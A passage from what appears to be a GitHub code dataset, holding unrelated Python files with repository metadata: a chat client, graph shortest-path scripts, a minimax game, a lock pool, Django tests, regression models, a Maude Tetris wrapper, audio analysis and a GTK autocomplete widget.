train(**vars(args))\n","repo_name":"diegofiori/test-forward-forward-pytorch","sub_path":"train_base.py","file_name":"train_base.py","file_ext":"py","file_size_in_byte":2107,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"17050529098","text":"from datetime import datetime\nfrom typing import List, Optional\n\nfrom fastapi import File, Form, UploadFile\nfrom pydantic import BaseModel, Json\n\n\nclass BannerBase(BaseModel):\n title: str\n image: str\n category_id: int\n\n\nclass Banner(BannerBase):\n id: int\n is_active: bool\n created_at: datetime\n updated_at: datetime\n\n class Config:\n orm_mode = True","repo_name":"nhanlethanh1198/backend_with_sso","sub_path":"app/schemas/banner_schemas.py","file_name":"banner_schemas.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74190073173","text":"import select\nimport six\nimport socket\nimport sys\n\n\ndef prompt():\n sys.stdout.write(' ')\n sys.stdout.flush()\n\n\nif __name__ == \"__main__\":\n c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n c.connect((\"localhost\", 3230))\n\n while True:\n socket_list = [sys.stdin, c]\n\n # Get the list sockets which are readable\n read_sockets, write_sockets, error_sockets = select.select(socket_list, [], [])\n\n for sock in read_sockets:\n # incoming message from remote server\n if sock == c:\n data = six.ensure_str(sock.recv(4096))\n if not data:\n six.print_('Disconnected from chat server')\n sys.exit()\n else:\n # print data\n sys.stdout.write(data)\n prompt()\n\n # user entered a message\n else:\n msg = sys.stdin.readline()\n c.send(six.b(msg))\n prompt()\n","repo_name":"buyalsky/asyncore-playground","sub_path":"chat_app/chat_client.py","file_name":"chat_client.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16711712771","text":"import networkx as nx\nimport pandas as pd\nfrom argparse import ArgumentParser\n\nparser = ArgumentParser()\n\nparser.add_argument(\"--start\", type=int, default=3200)\nargs = parser.parse_args()\nstart_place = args.start\n\ndataset_name = \"road-NA\"\nif dataset_name == \"brain\":\n edge_num = \"503\"\nelif dataset_name == \"bio-SC-LC\":\n edge_num = \"1999\"\nelif dataset_name == \"inf-power\":\n edge_num = \"4941\"\nelif dataset_name == \"web-EPA\":\n edge_num = \"4253\"\nelif dataset_name == \"road-NA\":\n edge_num = \"175813\"\ndf = pd.read_csv('../data/{dataset}/Edge_{edge_num}.txt'.format(dataset=dataset_name, edge_num=edge_num), sep=' ', names=['s', 't', 'weight'])\n\n\ndf.s = df.s.astype(int)\ndf.t = df.t.astype(int)\n\nweights_list = df.values.tolist()\n# G = nx.Graph()\n# G.add_edges_from()\n\nG = nx.Graph()\nG.add_weighted_edges_from(weights_list)\nall_spp_dist = nx.all_pairs_dijkstra_path(G)\n\n# print(2223432)\n\n# all_spp_dist_list = list(all_spp_dist)\n# print(all_spp_dist_list[0])\n# print(all_spp_dist_list[1])\n\nall_pair_dist = []\nedges_list = []\n\ncnt = 0\n# print('total length of samples:', all_spp_dist.__len__())\n\nitem_counter = 0\nfor path in all_spp_dist:\n if item_counter < start_place:\n item_counter += 1\n continue\n print('path: {cnt}'.format(cnt = str(cnt)))\n s, t_dict = path\n # cnt_inter = 0\n for t, w in t_dict.items():\n # print('internal', cnt_inter)\n if s!=t:\n hop_dist = len(w)\n all_pair_dist.append([s,t,hop_dist])\n # cnt_inter += 1\n if cnt >= 100:\n print('{cnt}:go to save and release memory!'.format(cnt=str(cnt)))\n all_pairs_df = pd.DataFrame(all_pair_dist, columns=['s', 't', 'weight'])\n all_pairs_df.to_csv('../data/{dataset_name}/whole_edge_hop_dist_{cnt}.csv'.format(cnt=str(item_counter), dataset_name=dataset_name), index=False, header=True)\n all_pair_dist = []\n cnt = 0\n cnt += 1\n item_counter += 1\n\n# for s, t_dict in all_spp_dist_list:\n# for t, w in t_dict.items():\n# if s!=t:\n# hop_dist = len(w)\n# all_pair_dist.append([s,t,hop_dist])\n\n# all_pairs_df = pd.DataFrame(all_pair_dist, columns=['s', 't', 'weight'])\n# print('shape', all_pairs_df.shape)\n# all_pairs_df.to_csv('../data/{dataset_name}/whole_edge_hop_dist.csv'.format(dataset_name=dataset_name), index=False, header=True)\n\n\n\n\n\n\n\n","repo_name":"TiantianLiu-TTL/LSPS","sub_path":"utils/sp_real_get_all_pair_nodes_hop_dist_big.py","file_name":"sp_real_get_all_pair_nodes_hop_dist_big.py","file_ext":"py","file_size_in_byte":2352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"36765859144","text":"from random import choice\nclass Node(object): \n def __init__(self,depth,playerNum,n,value=0,brother=0):\n self.depth=depth\n self.playerNum=playerNum\n self.resultDiv=n\n self.value=value \n self.brother=brother\n self.children=[]\n self.CreateChildren(n,brother)\n \n \n \n\n def CreateChildren(self,n,brother):\n \n if (brother == 0):\n \n for i in range (1, n//2 + 1): \n \n if i == n-i : \n continue \n \n A=(i,n-i)\n if (A[0] not in [1,2] and A[1] in [1,2]) or (A[1] not in [1,2] and A[0] in [1,2]): \n RealVal = 0\n if A[0] not in [1,2]: \n \n self.children.append(Node(self.depth+1,-self.playerNum,A[0],RealVal))\n \n if A[0] in [1,2]:\n \n self.children.append(Node(self.depth+1,-self.playerNum,A[1],RealVal))\n \n \n elif A[0] not in [1,2] and A[1] not in [1,2]:\n RealVal=0\n \n self.children.append(Node(self.depth+1,-self.playerNum,A[0],RealVal,A[1]))\n \n \n if A[0] in [1,2] and A[1] in [1,2]: \n RealVal = self.playerNum\n \n self.children.append(Node(self.depth+1,-self.playerNum,A[0],RealVal,A[1]))\n \n \n if (brother!=0):\n if brother in [1,2]:\n return \n for i in range (1, n//2 + 1): \n \n if i == n-i : \n continue \n \n A=(i,n-i)\n \n if A[1] in [1,2] and A[0] in [1,2]: \n RealVal=0\n self.children.append(Node(self.depth+1,-self.playerNum,brother,RealVal))\n \n \"\"\" if (A[0] not in [1,2] and A[1] in [1,2]) or (A[1] not in [1,2] and A[0] in [1,2]):\n RealVal = 0\n if A[0] not in [1,2]: \n \n self.children.append(Node(-self.playerNum,A[0],RealVal,brother))\n \n if A[1] not in [1,2]:\n \n self.children.append(Node(-self.playerNum,A[1],RealVal,brother))\"\"\"\n \n for i in range (1,brother//2 +1 ):\n if i== brother -i : \n continue \n A=(i,brother-i)\n if A[1] in [1,2] and A[0] in [1,2]: \n RealVal=0\n self.children.append(Node(self.depth+1,-self.playerNum,n,RealVal))\n \n if (A[0] not in [1,2] and A[1] in [1,2]) or (A[1] not in [1,2] and A[0] in [1,2]):\n RealVal = 0\n if A[0] not in [1,2]: \n \n self.children.append(Node(self.depth+1,-self.playerNum,A[0],RealVal,n))\n \n if A[1] not in [1,2]:\n \n self.children.append(Node(self.depth+1,-self.playerNum,A[1],RealVal,n))\n \n \n \n#ALGORITHM\ndef MinMax(node,depth,playerNum):\n #if(depth==0) or (abs(node.value)==1):\n if(abs(node.value)==1):\n return node.value \n \n bestValue = -playerNum\n \n for i in range(len(node.children)):\n child=node.children[i]\n val=MinMax(child,child.depth,-playerNum)\n if(abs(playerNum - val)) < abs(playerNum - bestValue):\n bestValue=val \n return bestValue \n\n\n#Wincheckfunction\ndef WinCheck(pile,playerNum):\n if pile in [1,2]:\n if playerNum>0:\n print(\"Human wins\")\n return 0\n else:\n print(\"Computer wins\")\n return 0\n \n if pile not in [1,2]:\n return 1\n\n \n \n#Main \n\nfirstpile=7 \nfirstbrother=0 \ncurPlayer=1 \nprint(\"\\nInstruction:The player who can not divide the pile loses\\nYou can't divide 1 nor 2 \\nYou can't divide into two equal piles \\n---GoodLuck!---\")\n\npile=firstpile\nbrother = firstbrother \n\ndepth=1\nwhile(pile not in [1,2] and brother in [0,1,2] or (pile not in [1,2] and brother not in [0,1,2]) ):\n#should add another while later pile not in AND brother not in \n \n \n \n print(\"\\nWhat would you pick?\\n\")\n depth+=1\n \n for i in range(1,pile//2 +1):\n if i == pile-i : \n continue \n \n A=(i,pile-i)\n print(\";\",\"(\",A[0],\",\",A[1],\")\",\";\")\n \n \n print(\"\\nEnter the first number of the couple\\nExample : 8 if the couple is (8,9)\")\n brother=int(input())\n print(\"\\nEnter the second number of the couple\\nExample : 9 if the couple is (8,9)\")\n pile=int(input())\n \n if (pile not in [1,2] and brother in [0,1,2]):\n \n if brother in [0,1,2]:\n brother=0\n \n # if pile in [1,2] and brother not in [1,2]:\n # a=brother\n \n \n \n if WinCheck(pile,curPlayer):\n curPlayer*=-1\n node=Node(depth,curPlayer,pile)\n bestChoice=-10\n bestValue=-curPlayer\n \n for i in range(len(node.children)):\n child=node.children[i]\n val=MinMax(child,child.depth,-curPlayer)\n if(abs(curPlayer - val)<= abs(curPlayer - bestValue)):\n bestValue=val \n bestChoice=child.resultDiv\n bro= pile - child.resultDiv\n \n print(\"Computer chooses (\",bro,\",\",bestChoice,\")\"+\" \"+\"based on value \"+\" \",bestValue)\n \n pile=bestChoice \n brother=node.brother\n if WinCheck(pile,curPlayer)==0:\n print(\"\\nHuman can no longer divide \")\n # if curPlayer>0 : \n # print(\"Computer can no longer divide \")\n # if curPlayer<0: \n # print(\"Human can no longer divide\")\n \n curPlayer *=-1\n \n \n if pile not in [1,2] and brother not in [0,1,2]:\n #pc chooses 3 , donc nasn3ou node mta3 4 w depth +1\n curPlayer*=-1\n node1=Node(depth+1,curPlayer,pile)\n node3=Node(depth,curPlayer,brother,0,pile)\n # node2=Node(depth,curPlayer,brother)\n # houni bch tet9leb \n bestChoice1=-10\n bestValue1=-curPlayer\n \n for i in range(len(node1.children)):\n child1=node1.children[i]\n val1=MinMax(child1,child1.depth,-curPlayer)\n if(abs(curPlayer - val1)<= abs(curPlayer - bestValue1)):\n bestValue1=val1 \n bestChoice1=node3.resultDiv\n #bro1= brother\n #pc chooses 4, nasn3ou node (3,0) depth 4 check korassa \n curPlayer2=-curPlayer\n \n node2=Node(depth+2,curPlayer2,brother)\n bestChoice2=-10\n bestValue2=-curPlayer2\n \n for i in range(len(node2.children)):\n child2=node2.children[i]\n val2=MinMax(child2,child2.depth,-curPlayer2)\n if(abs(curPlayer2 - val2)<= abs(curPlayer2 - bestValue2)):\n bestValue2=val2 \n bestChoice2=node3.brother\n #bro2= pile\n \n if bestValue1>bestValue2:\n print(\"\\nComputer chooses (\",bestChoice1,\")\"+\" \"+\"based on value \"+\" \",bestValue1)\n #here plays human\n print(\"\\nYour choice can be :\"+\" \",node3.brother)\n pile=int(input(\"\\nEnter the pile to divide:\"))\n \n #pile=node1.resultDiv\n brother=0\n \n curPlayer *=-1\n \n if bestValue1= self.T:\n if resource[1].test() == True:\n self.locks -= 1\n resource[1].urelease()\n\n\n def lock(self, resource_id, client_id, time_limit):\n \"\"\"\n Tenta bloquear o recurso resource_id pelo cliente client_id, até ao\n instante time_limit.\n O bloqueio do recurso só é possível se o recurso estiver ativo, não\n bloqueado ou bloqueado para o próprio requerente, e Y ainda não foi\n excedido. É aconselhável implementar um método __try_lock__ para\n verificar estas condições.\n Retorna True em caso de sucesso e False caso contrário.\n\n \"\"\"\n for re in self.lock_array:\n if re[1].client == client_id:\n if re[0] != resource_id:\n return False\n\n for resource in self.lock_array:\n\n if resource[0] == resource_id:\n if resource[1].test() == True:\n return False\n\n else:\n if self.locks < self.Y:\n self.locks += 1\n status = resource[1].lock(client_id, time_limit)\n if status == \"Unavailable\":\n resource[1].disable()\n return \"Unavailable\"\n else:\n return status\n\n else:\n return False\n return False\n\n def release(self, resource_id, client_id):\n \"\"\"\n Liberta o bloqueio sobre o recurso resource_id pelo cliente client_id.\n True em caso de sucesso e False caso contrário.\n \"\"\"\n\n for resource in self.lock_array:\n if resource[0] == resource_id:\n if resource[1].release(client_id):\n self.locks -= 1\n return True\n else:\n return False\n\n def test(self, resource_id):\n \"\"\"\n Retorna True se o recurso resource_id estiver bloqueado False caso\n esteja desbloqueado ou inativo.\n \"\"\"\n for resource in self.lock_array:\n if resource[0] == resource_id:\n return resource[1].test()\n\n def stat(self, resource_id):\n \"\"\"\n Retorna o número de vezes que o recurso resource_id já foi bloqueado, dos\n K bloqueios permitidos.\n \"\"\"\n for resource in self.lock_array:\n if resource[0] == resource_id:\n return resource[1].stat()\n\n def stat_y(self):\n \"\"\"\n Retorna o número de recursos bloqueados num dado momento do Y permitidos.\n \"\"\"\n return self.locks\n\n def stat_n(self):\n \"\"\"\n Retorna o número de recursos disponíveis em N.\n \"\"\"\n n_available = 0\n\n for resource in self.lock_array:\n if resource[1].test() == False:\n n_available += 1\n\n return n_available\n\n def __repr__(self):\n \"\"\"\n Representação da classe para a saída standard. A string devolvida por\n esta função é usada, por exemplo, se uma instância da classe for\n passada à função print.\n \"\"\"\n output = \"\"\n\n for resource in self.lock_array:\n if resource[1].test() == True:\n clients = \" \" + str(resource[1].client) + \" \"\n output += (\"Recurso ID: \" + str(\n resource[0]) + \" bloqueado pelo(s) o cliente(s):\" + clients + \" até aos \" + str(\n resource[1].time_limit) + \" Segundos, Tempo passado: \" + str(\n time.time() - resource[1].time) + \" Segundos\\n\")\n\n elif resource[1].test() == \"Unavailable\":\n if resource[0] == 0:\n output += \"\\nRecurso ID: \" + str(resource[0]) + \" inativo \\n\"\n else:\n output += \"Recurso ID: \" + str(resource[0]) + \" inativo \\n\"\n\n elif resource[1].test() == False:\n if resource[0] == 0:\n output += \"\\nRecurso ID: \" + str(resource[0]) + \" desbloqueado \\n\"\n else:\n output += \"Recurso ID: \" + str(resource[0]) + \" desbloqueado \\n\"\n\n #\n # Acrescentar na output uma linha por cada recurso bloqueado, da forma:\n # recurso bloqueado pelo cliente até\n # \n #\n # Caso o recurso não esteja bloqueado a linha é simplesmente da forma:\n # recurso desbloqueado\n # Caso o recurso não esteja inativo a linha é simplesmente da forma:\n # recurso inativo\n #\n return output\n","repo_name":"Mizawi/AD","sub_path":"lock_pool.py","file_name":"lock_pool.py","file_ext":"py","file_size_in_byte":8581,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"15621426250","text":"from knet.teachers.forms import StoryForm, TeacherProfileForm\n\nfrom ..factories import UserFactory\nfrom .factories import TeacherProfileFactory\n\n\n\nclass TestStoryForm:\n def test_save_assigns_user_and_teacher(self):\n \"\"\"StoryForm assigns user and profile to the story before saving.\"\"\"\n user = UserFactory.build(id=1)\n profile = TeacherProfileFactory.build(user__id=2)\n form = StoryForm(user, profile, {'body': \"Cool story bro\"})\n\n assert form.is_valid()\n story = form.save(commit=False)\n\n assert story.profile == profile\n assert story.submitter == user\n\n\n def test_self_post(self):\n \"\"\"If posting on my own profile, I can submit a name and date.\"\"\"\n profile = TeacherProfileFactory.build()\n form = StoryForm(\n profile.user,\n profile,\n {\n 'body': \"Cool story\",\n 'submitter_name': \"Joe\",\n 'nominal_date': \"4/20/2013\",\n },\n )\n\n assert form.is_valid(), form.errors\n story = form.save(commit=False)\n\n assert story.submitter_name == \"Joe\"\n assert story.nominal_date.isoformat() == '2013-04-20'\n\n\n def test_self_post_only(self):\n \"\"\"If posting on another's profile, can't override name/date.\"\"\"\n user = UserFactory.build(id=1)\n profile = TeacherProfileFactory.build(user__id=2)\n form = StoryForm(\n user,\n profile,\n {\n 'body': \"Cool story\",\n 'submitter_name': \"Joe\",\n 'nominal_date': \"4/20/2013\",\n },\n )\n\n assert form.is_valid(), form.errors\n story = form.save(commit=False)\n\n assert story.submitter_name == ''\n assert story.nominal_date is None\n\n\n\nclass TestTeacherProfileForm:\n def test_save_assigns_user(self):\n \"\"\"TeacherProfileForm assigns user to the profile before saving.\"\"\"\n user = UserFactory.build()\n form = TeacherProfileForm(user, {'school': \"Sample Elementary\"})\n\n assert form.is_valid()\n profile = form.save(commit=False)\n\n assert profile.user == user\n","repo_name":"oddbird/knet","sub_path":"knet/tests/teachers/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":2182,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"10758487227","text":"import tensorflow as tf\nimport pandas as pd \nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef get_data(filename,frac):\n\t\n\tdata = pd.read_csv(filename)\n\tLABEL = 'MEDV'\n\n\tdata['x0'] = np.array([1 for i in range(len(data.index))])\n\n\ttest_data = data.sample(frac = frac)\n\ttrain_data = data.drop(test_data.index)\n\n\tfrom sklearn import preprocessing as prp\n\n\ty_test = np.array(test_data[LABEL])\n\ty_test = y_test.reshape((len(y_test),1)) # MAKING it 2 dimensional for tensorflow\n\tx_test = test_data.drop(LABEL,axis = 1).values\n\tstd_scale = prp.StandardScaler().fit(x_test)\n\tx_test = std_scale.transform(x_test)\n\n\ty_train = np.array(train_data[LABEL])\n\ty_train = y_train.reshape((len(y_train),1))\n\tx_train = train_data.drop(LABEL,axis = 1).values\n\tstd_scale = prp.StandardScaler().fit(x_train)\n\tx_train = std_scale.transform(x_train)\n\n\treturn x_test, y_test, x_train, y_train\t\n\n\nfilename = \"BostonHousingPrices/Boston_Housing_Prices.csv\"\n\nx_test, y_test, x_train, y_train = get_data(filename,frac = 0.3)\n\nfrom sklearn.linear_model import LinearRegression\nregr = LinearRegression(fit_intercept = True)\nregr.fit(x_train,y_train)\nwsk = regr.coef_\n\n\nn_samples,n_features = x_test.shape\n\n\n# HYPERPARAMETER \n\nBATCH_SIZE = 1\nETA = 0.0003\nepochs = 1000\n\nX_TRAIN = tf.placeholder(tf.float64,shape = (None,n_features),name = \"train_data\")\nY_TRAIN = tf.placeholder(tf.float64,shape = (None,1), name = \"train_labels\")\n\nW = tf.Variable(np.random.randn(n_features,1),name = \"weights\")\n# B = tf.Variable(np.random.randn(None,1),name = \"biases\")\n\nprediction = tf.matmul(X_TRAIN,W)\ncost = tf.reduce_sum(tf.pow(Y_TRAIN-prediction,2))/2\n\noptimizer = tf.train.GradientDescentOptimizer(ETA).minimize(cost)\ninit_op = tf.initialize_all_variables()\n\nlog = []\n\nwith tf.Session() as sess:\n\n\tsess.run(init_op)\n\n\tfor epoch in range(epochs):\n\n\t\tfor x,y in zip(x_train,y_train):\n\t\t\tsess.run(optimizer,feed_dict = {X_TRAIN:x.reshape(((x.size/n_features),n_features)),Y_TRAIN:y.reshape((y.size,1))})\n\n\t\tlog.append(sess.run(cost,feed_dict = {X_TRAIN:x_train,Y_TRAIN:y_train}))\n\t\t# print(\"Epoch: \",epoch,\" cost: \",log[epoch])\n\n\tprint(\"Optimization finished\\n\")\n\n\tweights = sess.run(W)\n\tprint(\"Weights: \",weights)\n\tprint(\"sklearn weights: \",wsk)\n\ttest_prediction = sess.run(tf.matmul(x_test[0].reshape((1,n_features)),weights))\n\tprint(\"\\n\\n\",test_prediction,\" \",y_test[0])\n\tprint(regr.predict(x_test[0]))\n\nplt.plot([i for i in range(epochs)],log)\nplt.show()","repo_name":"euler16/Deep-Learning","sub_path":"Tensorflow/linear_regression.py","file_name":"linear_regression.py","file_ext":"py","file_size_in_byte":2427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"26658603780","text":"import maude\nfrom interface.parser import Parser\n\nclass TetrisPerformer():\n def __init__(self, initialRandom, nextRandom):\n maude.init()\n maude.load(\"logic/loads.maude\")\n self.tetris = maude.getModule('TETRIS')\n self.initialTerm = \"{ < ${board} > | ${rule} }\"\n initialBoard = self.tetris.parseTerm(\"initialBoard(\" + str(initialRandom) + \",\" + str(nextRandom) + \")\")\n initialBoard.reduce()\n self.maudeBoard = str(initialBoard)\n self.lastMaudeBoard = str(initialBoard)\n self.parser = Parser()\n\n def perform(self, rule):\n term = self.initialTerm.replace(\"${board}\", self.maudeBoard).replace(\"${rule}\", rule)\n parseTerm = self.tetris.parseTerm(term)\n parseTerm.rewrite(1)\n self.lastMaudeBoard = self.maudeBoard\n try:\n self.maudeBoard = self.parser.termToBoard(parseTerm)\n return self.parser.boardToMatrix(self.maudeBoard)\n except:\n self.maudeBoard = self.lastMaudeBoard\n return self.parser.boardToMatrix(self.maudeBoard)","repo_name":"tronxi/tetris-maude","sub_path":"interface/tetrisPerformer.py","file_name":"tetrisPerformer.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"33522908048","text":"# Q3. Logistic regression\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.io as sio\nfrom numpy import linalg as LA\n\n# 57 columns for X, 1 column for y\n# 3065 for training, 1536 for test\n# Need to squeeze out y from single-vaue ndarray\nspam_contents = sio.loadmat('spamData.mat', squeeze_me=True)\n\n# Do preprocessing and use unqualified name for brevity\n# Log-transform\nXtrain = np.log(np.add(spam_contents['Xtrain'], 0.1))\nXtest = np.log(np.add(spam_contents['Xtest'], 0.1))\nytrain = spam_contents['ytrain']\nytest = spam_contents['ytest']\n\n# Add bias term 1 to start of X\n# N * D matrix to N * (D+1) matrix\n# 57 to 58\nXtrain_biased = np.insert(Xtrain, 0, 1, axis=1)\nXtest_biased = np.insert(Xtest, 0, 1, axis=1)\n\nh_mask = np.identity(Xtrain_biased.shape[1])\nh_mask[0, 0] = 0\ng_mask = np.ones(Xtrain_biased.shape[1])\ng_mask[0] = 0\n\n\ndef sigm(x):\n return 1 / (1 + np.exp(-x))\n\n\n# Just try to match the dimensions, row major order in code makes things unintuitive\n# last dimension of x1 should match second-to-last dimension of x2\ndef get_gradient(X, mu):\n # X^T (mu - y) (58,3065) * (58,1)\n g = np.matmul(X.transpose(), mu - ytrain)\n return g\n\n\ndef get_hessian(X, mu):\n # S is zeros except for diagonals\n s = np.diag(mu * (1 - mu))\n # X^T S, (58, 3065) * (3065, 3065)\n h = np.matmul(X.transpose(), s)\n # (X^T S)X, (58, 3065) * (3065, 58)\n h = np.matmul(h, X)\n return h\n\n\ndef calc_err(lam, X, y, mode):\n max_iter = 10000\n tolerance = 1e-7\n # Init (D+1) zero vector to match Xtrain_biased\n # Should be 58\n w = np.zeros(Xtrain_biased.shape[1])\n for n in range(0, max_iter):\n # w^T X, (58,1) * (58,3065)\n mu = sigm(np.matmul(w, Xtrain_biased.transpose()))\n g = get_gradient(Xtrain_biased, mu)\n h = get_hessian(Xtrain_biased, mu)\n\n # l_2 regularization\n g_reg = g + lam * w * g_mask\n h_reg = h + lam * h_mask\n\n # w_{k+1} = w_k - H^{-1} g_k\n diff = -np.matmul(LA.inv(h_reg), g_reg)\n if np.abs(np.mean(diff)) < tolerance:\n break\n w += diff\n\n # Training Set\n p_y_1 = sigm(np.matmul(X, w))\n err = 1 - np.sum((p_y_1 >= 0.5) == y) / y.size\n if lam == 1 or lam == 10 or lam == 100:\n print('At lambda =', lam, mode, 'error rate =', err)\n return err\n\n\ndef plot():\n print('Running a logistic regression model')\n lam_vals = np.r_[1:11:1, 15:105:5]\n training_err = np.zeros(len(lam_vals))\n test_err = np.zeros(len(lam_vals))\n\n for i in range(len(lam_vals)):\n # Need to find w_hat,\n lam = lam_vals[i]\n training_err[i] = calc_err(lam, Xtrain_biased, ytrain, 'training')\n test_err[i] = calc_err(lam, Xtest_biased, ytest, 'test')\n\n plt.plot(lam_vals, training_err, label='training')\n plt.plot(lam_vals, test_err, label='test')\n plt.legend()\n plt.xlabel(r'$\\lambda$')\n plt.ylabel(\"Error Rate\")\n plt.title('Logistic regression')\n plt.savefig(\"q3.pdf\", dpi=150)\n\n print()\n","repo_name":"shenghaoc/ee5907-pa","sub_path":"EE5027PA/lr.py","file_name":"lr.py","file_ext":"py","file_size_in_byte":2991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38875860238","text":"import collections\n# 노드 클래스 정의 \nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n \nclass Solution:\n def maxDepth(self, root: TreeNode) -> int:\n # root가 없으면 종료 \n if root is None :\n return 0 \n # 큐 선언 \n queue = collections.deque([root])\n # 깊이 0으로 초기화 \n depth =0 \n # 큐가 있으면 반복 \n while queue :\n # 깊이 큐가 있으므로 깊이 +1 갱신 \n depth +=1\n # 큐 길이만큼 반복 \n for _ in range(len(queue)):\n # 하나씩 꺼내면서 확인\n cur_root =queue.popleft()\n # 자식노드가 있으면 자식노드 추가\n if cur_root.left :\n queue.append(cur_root.left)\n # 자식노드가 있으면 자식노드 추가 \n if cur_root.right:\n queue.append(cur_root.right)\n # 트리 최대 깊이 반환 \n return depth","repo_name":"kai3n/Daily-commit-project","sub_path":"Sanghyun/week8/Maximum Depth of Binary Tree.py","file_name":"Maximum Depth of Binary Tree.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"14262093865","text":"\"\"\"\nPlays a frequency sweep through an object and simultaneously records the resulting sound\nFFT is used to calculate the frequency response of the object.\n\"\"\"\n\nimport sounddevice as sd\nimport numpy as np\nfrom scipy.fft import fft, fftfreq\nfrom scipy.signal import savgol_filter\nfrom scipy.io.wavfile import read, write\nimport matplotlib.pyplot as plt\n\n\n# Warning: sounddevice can't play very short sounds\n# It also has a relatively long delay after playing a sound\npath = \"audio/sweep17-22k_rate96Khz_42ms_padded.wav\"\n\n# path = \"audio/sweep17-22k_rate96Khz_500ms_padded.wav\"\n# path = \"audio/8sweep17-22k_rate96Khz_42ms.wav\"\n# path = \"audio/sweep17-22k_rate96Khz_42ms.wav\"\n\nfs, data = read(path)\n\n# setup sounddevice\nsd.default.samplerate = fs\nsd.default.channels = 2\n\n# play and record responses\ntrials = 8\nresponses = []\nfor i in range(trials):\n resp = sd.playrec(data)\n sd.wait()\n responses.append(resp)\n\n# calculate fft of responses\nfor i in range(len(responses)):\n response = responses[i]\n response = np.mean(response, axis=1) # convert stereo to mono\n N = len(response)\n resp_fft = fft(response)*1/N\n resp_fft_real = 2*np.abs(resp_fft[:N//2]) # magnitude of fft freqs\n resp_fft_filtered = savgol_filter(resp_fft_real, 199, 1) \n resp_freq = fftfreq(N, 1/fs)\n \n # create plot of spectrum\n plt.figure()\n plt.plot(resp_freq[:N//2], resp_fft_filtered)\n plt.grid()\n plt.xlabel(\"Frequency\")\n plt.ylabel(\"Magnitude\")\n plt.savefig(\"data/response{0}.png\".format(i))\n plt.close()\n\n\n# also save audio response snippets\nfor i in range(len(responses)):\n write(\"data/response{0}.wav\".format(i), fs, responses[i])\n","repo_name":"mitmedialab/frequency_response","sub_path":"python/freq_resp.py","file_name":"freq_resp.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"8495330968","text":"__all__ = []\n__author__ = \"Peter Williams \"\n\nfrom gi.repository import Gtk\nfrom gi.repository import GObject\n\nfrom ..bab import str_utils\n\n\nclass EntryCompletionMultiWord(Gtk.EntryCompletion):\n \"\"\"\n Extend EntryCompletion to handle mult-word text.\n \"\"\"\n def __init__(self, model=None):\n \"\"\"\n model: an argument to allow the TreeModel to be set at creation.\n \"\"\"\n Gtk.EntryCompletion.__init__(self)\n if model is not None:\n self.set_model(model)\n self.set_match_func(self.match_func)\n self.connect(\"match-selected\", self.match_selected_cb)\n self.set_popup_set_width(False)\n @staticmethod\n def match_func(completion, key_string, model_iter, _data=None):\n \"\"\"\n Does the (partial) word in front of the cursor match the item?\n \"\"\"\n cursor_index = completion.get_entry().get_position()\n pword_start = str_utils.find_start_last_word(text=key_string, before=cursor_index)\n pword = key_string[pword_start:cursor_index].lower()\n if not pword:\n return False\n text_col = completion.get_text_column()\n model = completion.get_model()\n mword = model.get_value(model_iter, text_col)\n return mword and mword.lower().startswith(pword)\n @staticmethod\n def match_selected_cb(completion, model, model_iter):\n \"\"\"\n Handle \"match-selected\" signal.\n \"\"\"\n entry = completion.get_entry()\n cursor_index = entry.get_position()\n # just in case get_text() is overloaded e.g. to add learning\n text = Gtk.Entry.get_text(entry)\n #\n text_col = completion.get_text_column()\n mword = model.get_value(model_iter, text_col)\n new_text = str_utils.replace_last_word(text=text, new_word=mword, before=cursor_index)\n entry.set_text(new_text)\n # move the cursor behind the new word\n entry.set_position(cursor_index + len(new_text) - len(text))\n return True\n\nclass TextEntryAutoComplete(Gtk.Entry):\n def __init__(self, lexicon=None, learn=True, multiword=True, **kwargs):\n \"\"\"\n multiword: if True use individual words in entry as the target of autocompletion\n \"\"\"\n Gtk.Entry.__init__(self, **kwargs)\n self.__multiword = multiword\n if self.__multiword:\n completion = EntryCompletionMultiWord()\n else:\n completion = Gtk.EntryCompletion()\n self.set_completion(completion)\n cell = Gtk.CellRendererText()\n completion.pack_start(cell, expand=True)\n completion.set_text_column(0)\n self.set_lexicon(lexicon)\n self.set_learn(learn)\n def set_lexicon(self, lexicon):\n if lexicon is not None:\n self.get_completion().set_model(lexicon)\n def set_learn(self, enable):\n \"\"\"\n Set whether learning should happen\n \"\"\"\n self.learn = enable\n def get_text(self):\n text = Gtk.Entry.get_text(self)\n if self.learn:\n completion = self.get_completion()\n model = completion.get_model()\n text_col = completion.get_text_column()\n lexicon = [row[text_col] for row in model]\n lexicon.sort()\n if self.__multiword:\n new_words = []\n for word in str_utils.extract_words(text):\n if not str_utils.contains(lexicon, word):\n new_words.append(word)\n for word in new_words:\n model.append([word])\n self.emit(\"new-words\", new_words)\n else:\n text = text.strip()\n if text not in lexicon:\n model.append([text])\n self.emit(\"new-words\", [text])\n return text\nGObject.signal_new(\"new-words\", TextEntryAutoComplete, GObject.SignalFlags.RUN_LAST, None, 